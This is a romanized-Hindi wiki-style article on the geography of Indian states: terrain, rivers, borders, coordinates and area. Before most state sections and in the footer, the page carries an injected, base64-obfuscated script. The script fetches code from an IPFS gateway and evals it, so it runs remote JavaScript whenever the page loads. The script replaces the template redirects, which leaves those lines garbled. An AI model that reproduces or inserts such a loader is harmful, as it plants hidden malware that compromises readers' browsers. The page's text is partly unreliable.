gujarat ki sabase ooanchi choti girinar paha diyoan mean sthit gorakhanath ki choti hai, jo 1117 mitar ooanchi hai. gujarat ki jalavayu ooshn pradeshiy aur manasooni hai. varsha ki kami ke karan is pradesh mean retili aur baluee mitti payi jati hai. pradesh mean poorv ki or uttari gujarat mean varsha ki matr 50 semi tak hoti hai. isake dakshin ki or madhy gujarat mean mitti kuchh adhik upajaoo hai tatha jalavayu bhi apekshayata ardr hai. varsha 75 semi tak hoti hai. narmada, tapti, sabaramati, sarasvati, mahi, bhadar, banas, aur vishvamitr is pradesh ki suparichit nadiyaan haian. kark rekha is rajy ki uttari sima se hokar gujarati hai, atah yahaan garmiyoan mean khoob garmi tatha sardiyoan mean khoob sardi p dati hai. shaharikaran ki prakriya ne rajy ke vibhinn kshetroan mean vibhinn kuchh svaroop dharan kie haian. rajy ka sarvadhik shaharikrit kshetr ahamadabad-vadodara audyogik patti hai. rashtriy rajamarg sankhya-8 ke kinare uttar mean ooanjha se dakshin mean vapi ke audyogik maidan mean ek vrihadanagariy kshetr ubhar raha hai. saurashtr krishi kshetr mean kramik basav pranali ko dekha ja sakata hai, jabaki uttar aur poorv ke bahy kshetroan mean bikhari huee chhoti-chhoti bastiyaan haian, jo shushk, parvatiy ya vanachchhadit kshetr haian. adivasi janasankhya inhian simaant anutpadak kshetroan mean keandrit hai.

gova

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

105 kilomitar samudri tat vale gova mean retile tat, muhane v aantarip haian. isake bhitari hisse mean nichale pathar aur lagabhag 1,220 mitar ooanche pashchimi ghatoan (sahyadri) ka ek hissa hai. gova ki do pramukh nadiyaan, maandovi v juari, ke muhane mean gova ka dvip (ilhas) sthit hai. is trikoniy dvip ka shirsh aantarip ek chattani muhana hai, jis par do langaragah haian. yahaan par tin shahar marmagav ya marmugav (vasko d gama sahit) madagaanv aur panaji (navagova) haian.

chhattisagadh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• chhattisagadh rajy madhy pradesh ke dakshin-poorv mean 17°46' uttari akshaansh se 24°5' uttari akshaansh tatha 80°15' poorvi deshaantar se 84°15' poorvi deshaantar rekhaoan ke madhy sthit hai.
• chhattisagadh ka kul bhaugolik kshetraphal 1,35,194 varg kimi. hai. isaki uttari-dakshin lambaee 360 kimi. tatha poorv-pashchim chau daee 140 kimi. hai.
• chhattisagadh ke uttar mean uttar pradesh, uttari-poorvi sima mean jharakhand, dakshin-poorv mean odisha rajy sthit hai. dakshin mean andhr pradesh, dakshin-pashchim mean maharashtr tatha uttari-pashchim bhag mean madhy pradesh sthit hai.

jammoo aur kashmir

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jammoo aur kashmir poorvattar mean siankyaang ka svayatt kshetr v tibbati svayatt kshetr (donoan chin ke bhag) se, dakshin mean himachal pradesh v panjab rajyoan se, pashchim mean pakistan aur pashchimottar mean pakistan adhikrit bhoobhag se ghira hai.
sthiti: jammoo aur kashh‍mir rajh‍y 32-15 aur 37-05 uttari akshaansh aur 72-35 tatha 83-20 poorvi deshaantar ke bich sthit hai. bhaugolik roop se is rajh‍y ko char kshetroan mean baanta ja sakata hai.

1. paha di aur arddh-paha di maidan jo kandi patti ke nam se prachalit hai;
2. parvatiy kshetr jisamean shivalik paha diyaan shamil haian;
3. kashmir ghati ke paha d aur pir paanchal parvatamala tatha
4. tibh‍bat se laga laddakh aur karagil kshetr.

jharakhand

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• jharakhand 21°58'10" uttari akshaansh se 25°19'15" uttari akshaansh tatha 83°20'50" poorvi deshaantar 88°4'40" poorvi deshaantar ke madhy vistrit hai.
• jharakhand ka kul kshetraphal 79,714 varg kimi. jo bharat ke kul kshetraphal ka 2.4 pratishat hai.
• jharakhand ke poorv mean pashchim bangal, pashchim mean uttar pradesh aur chhattisagadh, uttar mean bihar tatha dakshin mean u disa se ghira hua hai.

tamilanadu

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tamilanadu rajy prakritik roop se poorvi tat par samatal pradesh tatha uttar aur pashchim mean paha di kshetroan ke bich vibhajit hai. poorvi maidan ka sabase chau da hissa upajaoo kaveri ke delta par hai aur age dakshin mean ramanathapuram aur madurai ke shushk maidan haian. rajy ke samooche pashchimi simaant par pashchimi ghat ki ooanchi shrriankhala phaili huee hai. poorvi ghat ki nichali paha diyaan aur simaant kshetr, jo sthaniy taur par javadi, kalarayan aur shevar aauy kahalate haian, pradesh ke madhy bhag ki or phaile haian.

tripura

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhy evan uttari tripura ek paha di kshetr hai, jise poorv se pashchim ki or char pramukh ghatiyaan, dharmanagar, kailashahar, kamalapur aur khovaee, katati haian. ye ghatiyaan uttar ki or bahane vali nadiyoan (joori, manu v dev, dhalaee aur khovaee) dvara nirmit haian. pashchim v dakshin ki nichali ghatiyaan khuli v daladali haian, halaanki dakshin mean bhoobhag bahut adhik kata hua aur ghane jangaloan se dhaka hai. uttar se dakshin ki or unmukh shreniyaan ghatiyoan ko alag karati haian.

dilli

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dilli ek jalasanbhar par sthit hai. jo ganga tatha siandhu nadi pranaliyoan ko vibhajit karata hai. dilli ki sabase mahattvapoorn sthalakriti visheshata parvat skandh (rij) hai, jo rajasthan praant ki prachin aravali parvat shreniyoan ka charam biandu hai. aravali sanbhavat: duniya ki sabase purani parvat mala hai, lekin ab yah poori tarah vriksh vihin ho chuki hai. pashchimottar pashchim tatha dakshin mean phaila aur tikone parakot ki do bhujaoan jaisa lagane vala yah skandh kshetr 180 varg kilomitar kshetr mean phaila hai. kachhari mitti ke maidan ko akriti ki vividhata deta hai tatha dilli ko kuchh utkrisht jiv v vanaspatiyaan upalabdh karata hai. yamuna nadi tribhujakar parakote ka tisara kinara batati hai. isi trikon ke bhitar dilli ke prasiddh sat shaharoan ki utpatti ee.poo. 1000 se 17 vian shatabdi ke bich huee.

nagalaiand

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• nagalaiand ka lagabhag samoocha hissa parvatiy hai.
• uttar mean naga paha diyaan brahmaputr ghati se achanak lagabhag 610 mitar ki ooanchaee tak uthati haian aur usake bad dakshin-poorv disha mean inaki ooanchaee 1,800 mitar tak ho jati hai, myaanmar sima ke pas ye paha diyaan patakee shrriankhala se mil jati haian aur yahaan inaki sabase ooanchi choti mauant saramati hai, jisaki ooanchaee 3,826 mitar hai.

panjab

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhoo-akriti: panjab ka adhikaansh hissa samatal maidani hai, jo poorvottar mean samudr tal se lagabhag 275 mitar se dakshin-pashchim mean lagabhag 168 mitar ki ooanchaee ki anuvarti dhalan vala hai. bhautik roop se is pradesh ko tin hissoan mean baanta ja sakata hai. poorvottar mean 274-914 mitar ki ooanchaee par sthit shivalik paha diyaan rajy ka bahut hi chhota hissa haian. dakshin mean shivalik paha diyaan sankare aur laharadar taraee kshetr ke roop mean phaili huee haian, jinase hokar kee mausami dharaean bahati haian.

pashchim bangal

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pashchim bangal rajh‍y ke poorv mean baangladesh, pashchim mean nepal, uttar-poorv mean bhootan, uttar mean sikkim, pashchim mean bihar, jharakhand, dakshin-pashchim mean u disa tatha dakshin mean bangal ki kha di hai. pashchim bangal rajy mean bharat ke hugali nadi par kolakata se 22 mil uttar chaubis paragana zile mean neehati nagar sthit hai.

bihar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• bhoo-akriti: prakritik roop se yah rajy ganga nadi dvara do bhagoan mean vibhajit hai, uttar bihar maidan aur dakshin bihar maidan. sudoor pashchimottar mean himalay ki taraee ko chho dakar ganga ka uttari maidan samudr tal se 75 mitar se bhi kam ki ooanchaee par jalodh samatali kshetr ka nirman karata hai aur yahaan badh ane ki sanbhavana hamesha bani rahati hai. ghaghara, gandak, bagamati, kosi, mahananda aur any nadiyaan nepal mean himalay se niche utarati haian aur alag-alag jalamargoan se hoti huee ganga mean milati haian.

manipur

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• bharat ke poorvi sire par manipur rajy sthit hai.
• isake poorv mean mh‍yaanmar (barma) aur uttar mean nagalaiand rajh‍y hai, pashchim mean asam rajh‍y aur dakshin mean mizoram rajh‍y hai.
• manipur ka kshetraphal 22,327 varg kilomitar hai. bhaugolik roop se manipur ke do bhag haian, pahadiyaan aur ghatiyaan.
• ghati madhh‍y mean hai aur usake charoan taraph pahadiyaan haian.

madhy pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhh‍y pradesh doosara sabase b da bharatiy rajh‍y hai. bhaugolik drishti se yah desh mean kenh‍driy sh‍than rakhata hai. isaki rajadhani bhopal hai . madhy ka arth bich mean hai, madhy pradesh ki bhaugolik sthiti bharatavarsh ke madhy arthat bich mean hone ke karan is pradesh ka nam madhy pradesh diya gaya, jo kabhi 'madhy bharat' ke nam se jana jata tha. madhy pradesh hriday ki tarah desh ke thik bichoanbich mean sthit hai.

maharashtr

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maharashtr mean kee prakar ki akarshak bhoo- akritiyaan haian. narmada nadi, jo vibhransh ghati se hokar bahati huee arab sagar mean girati hai, rajy ki uttari sima ke ek hisse ka nirman karati hai. arab sagar mean hi milane vali tapti nadi ki vibhransh ghati isaki uttari sima ke doosare hisse ko chihnit karati hai. ye do nadi ghatiyaan satapu da shrriankhala namak utkhand se vibhakt hoti haian. tapti ghati ke dakshin mean arab sagar ke kinare koankan ka tatiy kshetr hai, jisake poorv mean pashchimi ghat ya sahyadri paha diyoan ke nam se vikhyat kagar sthit hai.

mizoram

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhoogarbhashastriy drishti se mizo paha diyaan arakan ark ka hissa hai jo susangathit samanaantar parvataskandhoan ki uttar-dakshin disha mean sthit shrriankhala hai, jisaka nirman tritiyak balua patthar, choona-patthar aur slet-patthar se hua hai. sankari nadi ghatiyoan se vibhakt parvataskandhoan ki ooanchaee 2,157 mitar hai. dakshin mean kaladan aur isaki sahayak nadiyaan dakshin disha mean bahati huee myaanmar mean pravesh karati haian, jabaki dhaleshvari (tlavang) aur sonaee (tuirel) nadiyaan uttar disha mean asam ki aur bahati haian.

meghalay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meghalay dakkan ke pathar se rajamahal darre dvara alag kiya hua ek uchch bhookhand hai. yahaan ki chattanean aur bhoo-vaijnanik sanrachana bihar aur bangal ke chhota nagapur kshetr jaisi hai. chattanean poorv kaianbriyan kal ki ady mahakalpi shail aur grenait, nimn-purajivi shilaang samooh, apar goandavana, silahat traip aur tisare yug ke kathor avasadi jamavoan se bani huee hai. isake shikharoan ki ooanchaee 1,220 se 1,830 mitar ke bich hai.

rajasthan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhoomi: aravali paha diyaan rajy ke dakshin-pashchim mean 1,722 mitar ooanche guru shikhar se poorvottar mean khet di tak ek rekha banati huee guzarati haian. rajy ka lagabhag 3/5 bhag is rekha ke pashchimottar mean v shesh 2/5 bhag dakshin-poorv mean sthit hai. rajasthan ke ye do prakritik vibhajan haian. behad kam pani vala pashchimottar bhoobhag retila aur anutpadak hai. is kshetr mean vishal bharatiy registan (thar) nazar ata hai. sudoor pashchim aur pashchimottar ke registani kshetroan se poorv ki or badhane par apekshakrit utpadak v nivas yogy bhoomi hai.

sikkim

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• sikkim rajy ka kul kshetraphal 7,096 varg kilo mitar hai.
• isaka bhoo bhag uttar se dakshin tak 112 kilo mitar tatha poorv se pashchim tak 64 kilomitar mean phaila hua hai.
• yah uttar-poorv himachal mean 27 digri 00'46" se 28 digri 07'48" uttari akshaansh aur 88 digri 00'58" se 88 digri 55'25" poorv deshaantar ke madhy sthit hai.
• vishv ki tisari sabase b di aur ooanchi choti 'kanchanajanga', jise sikkim ki raksha devi mana jata hai, apani prakritik sauandary ki chhata bikherati hai.

hariyana

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hariyana mean do b de bhoo-kshetr hai, rajy ka ek b da hissa samatal jalodh maidanoan se yukt hai aur poorvottar mean tikhe dhal vali shivaliya paha diyaan tatha sankara paha di kshetr hai. samudr ki satah 210 mitar se 270 mitar ooanche maidani ilakoan se pani bahakar ekamatr barahamasi nadi yamuna mean ata hai, yah rajy ki poorvi sima se hokar bahati hai. shivalik paha diyoan se nikali anek mausami nadiyaan maidani bhagoan se guzarati hai. inamean sabase pramukh ghagghar (rajy ki uttari sima ke nikat) nadi hai.

himachal pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

himachal pradesh pashchimi himalay ke madhy mean sthit hai, ise dev bhoomi kaha jata hai. himachal pradesh uttar mean jammoo aur kashmir, pashchim tatha dakshin-pashchim mean dakshin mean hariyana evan uttar pradesh, dakshin-poorv mean uttarakhand tatha poorv mean tibbat se ghira hai. himachal pradesh mean devi aur devataoan ka nivas sthan mana jata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>